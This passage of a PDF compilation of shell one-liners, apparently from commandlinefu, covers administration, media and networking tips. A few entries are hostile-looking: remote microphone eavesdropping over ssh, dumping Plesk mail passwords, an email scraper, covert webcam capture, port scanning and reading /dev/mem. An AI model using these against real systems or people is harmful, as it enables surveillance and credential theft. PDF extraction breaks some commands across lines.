cp filename{,.`date +%Y%m%d`}
# tar exclude files or directories
tar -cvzf home_backup.tar.gz --exclude={.*,Downloads} /home/<user>
# connect to X login screen via vnc
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
# convert ascii string to hex
echo $ascii | perl -ne 'printf "%x", ord for split //'
# pid of manually selecting window
xprop | awk '/PID/ {print $3}'
# Use Vim to convert text to HTML.
vimhtml() { [[ -f "$1" ]] || return 1; vim +'syn on | run! syntax/2html.vim | wq | q' "$1";}
# Tells the shell you are using
ps -p $$
# Read PDFs in the command line
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
# Who invoked me? / Get parent command
ps -o comm= -p $(ps -o ppid= -p $$)
# Another Matrix Style Implementation
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]"
" " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
# Numerically sorted human readable disk usage
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
# monitor a tail -f command with multiple processes
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2'
> two.txt)

113 / 658

All UNIX COMMANDS


# Open (in vim) all modified files in a git repository
vim `git status --porcelain | sed -ne 's/^ M //p'`

# Add a GPL license file to your project


wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt
# See your current RAM frequency
/usr/sbin/dmidecode | grep -i "current speed"
# Show all configured ipv4
ip -o -4 a s
# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the
Unicode Standard.
find . -type f | grep -rl $'\xEF\xBB\xBF'
# A command to post a message to Twitter that includes your geo-location and a short URL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/apicreate.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl
ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
# Maximum PNG compression with optipng, advpng, and advdef
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
# Create a persistent remote Proxy server through an SSH channel
ssh -fND localhost:PORT USER@SSH_ENABLED_SERVER
# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
# Extract all of the files on an RPM on a non-RPM *nix
rpm2cpio package.rpm |cpio -dimv
# get a desktop notification from the terminal
alias z='zenity --info --text="You will not believe it, but your command has finished
now! :-)" --display :0.0'
# Extract tarball from internet without local saving
wget -O - http://example.com/a.gz | tar xz
# Count number of files in a directory
find . -maxdepth 1 -type f | wc -l
# Find last modified files in a directory and its subdirectories
find . -type f -print0 | xargs -0 stat -c'%Y :%y %12s %n' | sort -nr | cut -d: -f2- | head
# Open up a man page as PDF (#OSX)
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
# Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables
output chain.
curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk
-F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
# count processes with status "D" uninterruptible sleep
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print
"Total status D: "count}'

114 / 658

All UNIX COMMANDS


# Create AUTH PLAIN string to test SMTP AUTH session
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
# for all who don't have the watch command
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date";
$2; sleep $1; done }
# syncronizing datas beetween two folder (A and B) excluding some directories in A (dir1 and
dir2)
rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB
# Set laptop display brightness
echo <percentage> > /proc/acpi/video/VGA/LCD/brightness
# convert (almost) any image into a video
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg
2>/dev/null
# Convert files from DOS line endings to UNIX line endings
sed -i 's/^M//' file
# List your interfaces and MAC addresses
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
# whowatch: Linux and UNIX interactive, process and users monitoring tool
whowatch
# ping a host until it responds, then play a sound, then exit
Mac OSX: ping -oc 30 8.8.4.4 > /dev/null && say "Google name server is up" || say "This
host is down"

# a fast way to repeat output a byte


tr '\0' '\377' < /dev/zero|dd count=$((<bytes>/512))
# Screenshot pipe to remote host, adding URL to clipboard, notifying when done. (without
saving locally)
DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=ssh_host; DEST=file_dest;
URL=url/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat >
$DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Title" "Message"
# checking space availabe on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p
$x "\; done)
# automount samba shares as devices in /mnt/
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass
0 0<esc>:wq; mount //smb-share/gino
# ps a process keeping the header info so you know what the columns of numbers mean!
ps auxw |egrep "PID|process_to_look_at"
# get xclip to own the clipboard contents
xclip -o -selection clipboard | xclip -selection clipboard
# ignore hidden directory in bash completion (e.g.
bind 'set match-hidden-files off'
# Binary clock

115 / 658

.svn)

All UNIX COMMANDS


read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo
"${A:${A[C+1]}:4}";done
# Upload folder to imageshack.us (forum)
imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -#
"http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<image_link>/[IMG]/g' -e
's/<\/image_link>/[\/IMG]/g'; done; }
# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $7}'`
# tree by modify time with newest file at bottom
tree -L 1 -ChDit | tac
# Show the date of easter
ncal -e
# Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwd
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y
288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n
"Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv
# Get the list of root nameservers for a given TLD
dig +short NS org.
# tar and remove files which are older that 100 days
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;
# Display which distro is installed
lsb_release -a
# gpg encrypt a file
gpg --encrypt --recipient 'Foo Bar' foo.txt
# Create a tar archive with all files of a certain type found in present dir and subdirs
find ./ -type f -name "*.txt" -exec tar uvf myarchives.tar {} +
# Convert the output of one or more (log, source code ...) files into html,
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
# Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME
# Create black and white image
convert -colorspace gray face.jpg gray_face.jpg
# Send command to all terminals in a screen session
<ctrl+a>:at "#" stuff "echo hello world^M"
# Scale,Rotate, brightness, contrast,...with Image Magick
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast
-colorize $red%,$green%,$blue% $filter file_in.png file_out.png
# Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf
scale=320:-2,expand=:240:::1 -o output.avi dvd://0
# Google URL shortener
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p"
;}

116 / 658

All UNIX COMMANDS

# Extract extention of a file


filext () { echo ${1##*.}; }
# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george")
{print $2}}' | sort | uniq
# Start another X session in a window
startx -- /usr/bin/Xephyr :2
# find unreadable file
sudo -u apache find . -not -readable
# Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
# Quick key/value display within /proc or /sys
grep -r . /sys/class/net/eth0/statistics
# show framebuffer console modes to use in grub vga option
sudo hwinfo --framebuffer
# let the cow suggest some commit messages for you
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
# remote diff with side-by-side ordering.
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE # write text or append to a file
cat <<.>> somefilename
# Indent a one-liner.
declare -f <function name>
# locate bin, src, and man file for a command
whereis somecommand
# urldecoding
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
# dont execute command just add it to history as a comment, handy if your command is not
"complete" yet
#command
# Convert Unix newlines to DOS newlines
sed 's/$/<ctrl+v><ctrl+m>/'
# Show established network connections
lsof -i | grep -i estab
# set desktop background to highest-rated image from Reddit /r/wallpapers
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh
--bg-seamless
# Install your ssh key file on a remote system
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub

117 / 658

All UNIX COMMANDS


# reverse order of file
sed '1!G;h;$!d'
# Convert video files to XviD
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
# Disable beep sound from your computer
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
# Create an easy to pronounce shortened URL from CLI
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed
's/<[^>]*>//g;/</N;//b' ;}
# List all databases in Postgres and their (byte/human) sizes, ordering by byte size
descending
psql -c "SELECT pg_database.datname, pg_database_size(pg_database.datname),
pg_size_pretty(pg_database_size(pg_database.datname)) FROM pg_database ORDER BY
pg_database_size DESC;" -d <ANYDBNAME>
# Write on the console without being registered
_ls
# Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f
/etc/ssh/ssh_host_dsa_key.pub

# Sort on multiple dis-contiguous keys/fields (can even specify key number/field from the
end)
file /bin/* | msort -j -l -n-1 -n2 2> /dev/null
# Remove today's installed packages
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
# Print number of mb of free ram
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'
# Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print
$2%10000}'`; done
# Enable cd by variable names
shopt -s cdable_vars
# Find the processes that are on the runqueue. Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
# Edit file(s) that has been just listed
vi `!!`
# camelcase to underscore
echo thisIsATest | sed -E 's/([A-Z])/_\L\1/g'
# grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
# Perform a reverse DNS lookup
dig -x 74.125.45.100

118 / 658

All UNIX COMMANDS


# Using the urxvt terminal daemon
urxvtd -q -o -f
# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads |
grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites
http://youtube.com/"$i"; done }
# Create a continuous digital clock in Linux terminal
watch -t -n 1 date +%T
# fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;
# Detach a process from the current shell
ping -i1 www.google.com &> /dev/null & disown
# Make changes in .bashrc immediately available
source ~/.bashrc
# Show all machines on the network
nmap 192.168.0-1.0-255 -sP
# generate random tone
paste <(seq 7 | shuf | tr 1-7 A-G) <(seq 7 | shuf) | while read i j; do play -qn synth 1
pluck $i synth 1 pluck mix $2; done
# Simulate typing
echo "pretty realistic virtual typing" | randtype -m 4
# Release memory used by the Linux kernel on caches
/sbin/sysctl -w vm.drop_caches=3
# bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-artfree-sample-00[00-19].jpg
# Batch resize all images in the current directory that are bigger than 800px, height or
weight.
mogrify -resize 800\> *
# Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0
# backup local MySQL database into a folder and removes older then 5 days backups
mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
# Performance tip: compress /usr/
[ ! -d /squashed/usr ] && mkdir -p /squashed/usr/{ro,rw} ; mksquashfs /usr
/squashed/usr/usr.sfs.new -b 65536 ; mv /squashed/usr/usr.sfs.new /squashed/usr/usr.sfs ;
reboot

# preserve disk; keep OS clean


ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc
$HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm
-vrf /tmp$i ; done ;} usage: (in rc sequence) ram

119 / 658

All UNIX COMMANDS


# YES = NO
yes n
# Recursively remove all subversion folders
find . -name .svn -exec rm \-rf {} \;
# get a random 0/1, use it for on/off, yes/no
echo $[RANDOM % 2]
# Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0
--start_no 0 --continue yes --gui no --auto
# Unrar all multipart rar archives in directory
for f in /*part1.rar;do unrar e .$f.;done
# list your device drivers
lspci -vv
# en/decrypts files in a specific directory
for a in path/* ; do ccenrypt -K <password> $a; done
# ncdu - ncurses disk usage
ncdu directory_name
# Copy via tar pipe while preserving file permissions (cp does not!; run this command with
root!)
cp -pr olddirectory newdirectory
# lsof equivalent on solaris
/usr/proc/bin/pfiles $PID
# find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep
"http://" |sort -u
# Simplest port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
# Number of CPU's in a system
grep "processor" /proc/cpuinfo | wc -l
# Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
# find all non-html files
find . -type f ! -name "*html"
# Print a date from 3 days ago
TZ=PST8PDT+72 date '+%Y_%m_%d'
# Get mouse location (X,Y coordinates)
xdotool getmouselocation
# Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;
# print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file

120 / 658

All UNIX COMMANDS


# Boot another OS at next startup
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# See size of partitions as human readable
parted /dev/sda print
# Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1
# List PCI device with class and vendor/device IDs
for device in /sys/bus/pci/devices/*; do echo "$(basename ${device} | cut -c '6-') $(cut -c
'3-6' ${device}/class): $(cut -c '3-' ${device}/vendor):$(cut -c '3-' ${device}/device)";
done
# Change display resolution
xrandr -s 1280x1024

# eavesdrop
ssh USER@REMOTESYSTEM arecord - | aplay # a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done
# Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
# Find a CommandlineFu users average command rating
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2;
I++}END{print S/I}'
# Identify name and resolution of all jpgs in current directory
identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
# Format ps command output
ps ax -o "%p %U %u %x %c %n"
# Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
# Batch rename extension of all files in a folder, in the example from .txt to .md
mmv "*.txt" "#1.md"
# Delete empty directories with zsh
rm -d **/*(/^F)
# Monitor cpu freq and temperature
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat
/proc/acpi/processor/*/throttling"
# Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
# Place the argument of the most recent command on the shell
<Esc> _
# Tail a log-file over the network
(echo -e "HTTP/1.1 200 Ok\n\r"; tail -f /var/log/syslog) | nc -l 1234

121 / 658

All UNIX COMMANDS


# Show latest changed files
ls -ltcrh
# Get all ip address for the host
hostname -I
# Command line calculator
awk "BEGIN{ print $* }"
# Print out a man page
man -t man | lp
# List files with full path
find $(pwd) -maxdepth 1
# Skip filenames with control characters, a.k.a tab,newline etc
find . ! -name "$(printf '*[\001-\037\177]*')"
# View non-printing characters with cat
cat -v -t -e
# Find writable files
find -writable
# get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/
2>/dev/null | grep util | tail -1); wget $mirror/$latest
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
# Save your open windows to a file so they can be opened after you restart
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done >
~/.windows
# Find files containing string and open in vim
vim $(grep test *)

# Convert encoding of given files from one encoding to another


iconv -f utf8 -t utf16 /path/to/file
# show all established tcp connections on os x
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
# for newbies, how to get one line info about all /bin programs
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
# Realtime apache hits per second
tail -f access_log | cut -c2-21 | uniq -c
# Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
# Sum columns from CSV column $COL
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
# A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth

122 / 658

All UNIX COMMANDS


# scp a good script from host A which has no public access to host C, but with a hop by host
B
cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
# Auto download Ubuntu 10.04 LTS with super fast zsync
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso;
i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if
wget $i; then zsync $i; date; break; else sleep 30; fi; done
# exec chmod to subfiles
find . -type f -exec chmod a-x {} +
# Make changes in .bashrc immediately available
. ~/.bashrc
# Capture screen and mic input using FFmpeg and ALSA
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep
'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
# Google text-to-speech in mp3 format
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@"
translate.google.com/translate_tts?tl=en\&q=$p|mpg123 # view the system memory in clear text
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
# Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
# Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
# Remove the first character of each line in a file
sed "s/^.//g" files
# Calculating series with awk: add numbers from 1 to 100
seq 100 | awk '{sum+=$1} END {print sum}'
# Extract neatly a rar compressed file
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
# zsh only: access a file when you don't know the path, if it is in PATH
file =top
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host
# Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print
sqrt(mean2 / NR); }'
# Add existing user to a group
usermod -a -G groupname username
# Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from
mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id
= accounts.id;"

123 / 658

All UNIX COMMANDS


# Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if
/^GET \/(.*) / })'

# Remove color codes (special characters) with sed


sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
# Trace a DNS query from root to the authoritive servers.
dig +trace google.com
# Find duplicate UID in /etc/passwd
awk -F":" '!list[$3]++{print $3}' /etc/passwd
# Getting the last argument from the previous command
cd !$
# delete files containing matching text
grep -r -Z -l "<text>" . | xargs -0 echo rm
# vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")
# Delete Last Line of a File if it is Blank
sed '${/^$/d}' file
# Unzip multiple files with one command
unzip '*.zip'
# Find files with root setuids settings
sudo find / -user root -perm -4000 -print
# Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"
# take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'
# Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe
# get time in other timezones
tzwatch
# Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
# no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
# Use the arguments used in the last command
mkdir !*
# Create and replay macros in vim
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
# Bitcoin Brainwallet Exponent Calculator
function brainwallet_exponent () { printf %s "$1"|sha256sum|head -c 64; }

124 / 658

All UNIX COMMANDS


# Bitcoin Brainwallet Checksum Calculator
function brainwallet_checksum () { (o='openssl sha256 -binary'; p='printf';($p %b "\x80";$p
%s "$1"|$o)|$o|sha256sum|cut -b1-8); }
# Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
# Recursively remove .svn directories
find . -type d -name .svn -delete
# I finally found out how to use notify-send with at or cron
echo notify-send test | at now+1minute
# ssh autocomplete based on ~/.ssh/config
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
# Bitcoin Brainwallet Base58 Encoder
function b58encode () { local b58_lookup_table=({1..9} {A..H} {J..N} {P..Z} {a..k} {m..z});
bc<<<"obase=58;ibase=16;${1^^}"|(read -a s; for b58_index in "${s[@]}" ; do printf %s $
{b58_lookup_table[ 10#"$b58_index" ]}; done); }
# Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv

# Monitor memory usage


watch vmstat -sSM
# Bitcoin Brainwallet Private Key Calculator
(read -r passphrase; b58encode 80$( brainwallet_exponent "$passphrase" )$
( brainwallet_checksum "$passphrase" ))
# Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME
# ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'
# Recursively remove .svn directories from a local repository
find . -type d -name .svn -execdir rm -rf {} +
# convert from decimal to hexadecimal
hex() { bc <<< "obase=16; $1"; }
# Securely destroy data on given device hugely faster than /dev/urandom
openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2>/dev/null |
base64)" -nosalt < /dev/zero > randomfile.bin
# split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}
# Stage only portions of the changes to a file.
git add --patch <filename>
# Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`
# connects to a serial console
cu -s 9600 -l /dev/ttyS0

125 / 658

All UNIX COMMANDS


# Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
# Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
# How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]'
--exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
# List your MACs address
cat /sys/class/net/*/address
# Merge AVI-files without recoding
cat part1.avi part2.avi part3.avi > tmp.avi && mencoder -forceidx -oac copy -ovc copy
tmp.avi -o output.avi && rm -f tmp.avi
# move cursor to beginning of command line
Ctrl+a
# kill all process that belongs to you
pkill -u `whoami`
# Takes an html file and outputs plain text from it
lynx -dump somefile.html
# print shared library dependencies
LD_TRACE_LOADED_OBJECTS=1 name_of_executable
# sqlite3 cmd to extract Firefox bookmarks from places.sqlite
sqlite3 ~/.mozilla/firefox/*default/places.sqlite "select a.url, a.title from moz_places a,
moz_bookmarks b where a.id=b.fk and b.parent=2;"
# Unixtime
date +%s
# Refresh the cache of font directory
sudo fc-cache -f -v
# video thumbnail gallery
totem-video-thumbnailer -pg 25 in_video out_png
# Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;

# list all executables in your path


ls `echo $PATH | sed 's/:/ /g'`
# Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $
( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
# Get your outgoing IP address
curl -s icanhazip.com
# switch case of a text file
tr a-zA-Z A-Za-z < input.txt

126 / 658

All UNIX COMMANDS


# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add # find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
# Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl
"http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
# Determine if a command is in your $PATH using POSIX
command -v bash
# Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg
# Facebook Email Scraper
fbemailscraper YourFBEmail Password
# Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
# Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` >
`basename $PWD` ]]; then cd $d; break; fi; done
# Search shoutcast web radio by keyword
echo "Keyword?";read keyword;query="http://www.shoutcast.com/sbin/newxml.phtml?
search="$keyword"";curl -s $query |awk -F '"' 'NR <= 4 {next}NR>15{exit}
{sub(/SHOUTcast.com/,"http://yp.shoutcast.com/sbin/tunein-station.pls?id="$6)}{print i+
+" )"$2}'
# Get Dollar-Euro exchage rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if
(x==1) {print $1} if ($0~"EUR/US") {x=1} }'
# search for a file in PATH
type <filename>
# print text in colors green, cyan, blue or red (see sample output for usage)
color () { local color=39; local bold=0; case $1 in green) color=32;; cyan) color=36;; blue)
color=34;; gray) color=37;; darkgrey) color=30;; red) color=31;; esac; if [[ "$2" ==
"bold" ]]; then bold=1; fi; echo -en "\033[${bold};${color}m"; }
# Recursively Find Images, Convert to JPEGS and Delete
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm
{}" \;
# Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' |
xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
# Adding formatting to an xml document for easier reading
xmllint --format <filename> > <output file>
# Happy Days
echo {1..3}" o'clock" ROCK

127 / 658

All UNIX COMMANDS


# Print a row of 50 hyphens
perl -le'print"-"x50'
# Show a random oneliner from commandlinefu.com
echo -e "`curl -sL http://www.commandlinefu.com/commands/random/json|sed -re
's/.*,"command":"(.*)","summary":"([^"]+).*/\\x1b[1;32m\2\\n\\n\\x1b[1;33m\1\\x1b[0m/g'`\n"
# Bash: escape '-' character in filename
mv -- -filename filename
# Take aWebcam Picture When the Mouse Moves
while true; do sudo cat /dev/input/mouse0|read -n1;streamer -q -o /tmp/cam.jpeg -s 640x480 >
/dev/null 2>&1; sleep 10;done
# Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination
10.1.1.123:3128

# List apache2 virtualhosts


/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ &&
do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print
"\t$root\n" };'
# Short one line while loop that outputs parameterized content from one file to another
awk '{print $1}' < three-column.txt > first-column.txt
# show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\
+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
# Create user add lines from partial passwd file
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
# print line and execute it in BASH
bash -x script.sh
# BASH one-liner to get the current week number
date +"%V"
# Remove duplicate rows of an un-sorted file based on a single column
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt >
outfile.txt
# english <--> german translation with dict.leo.org
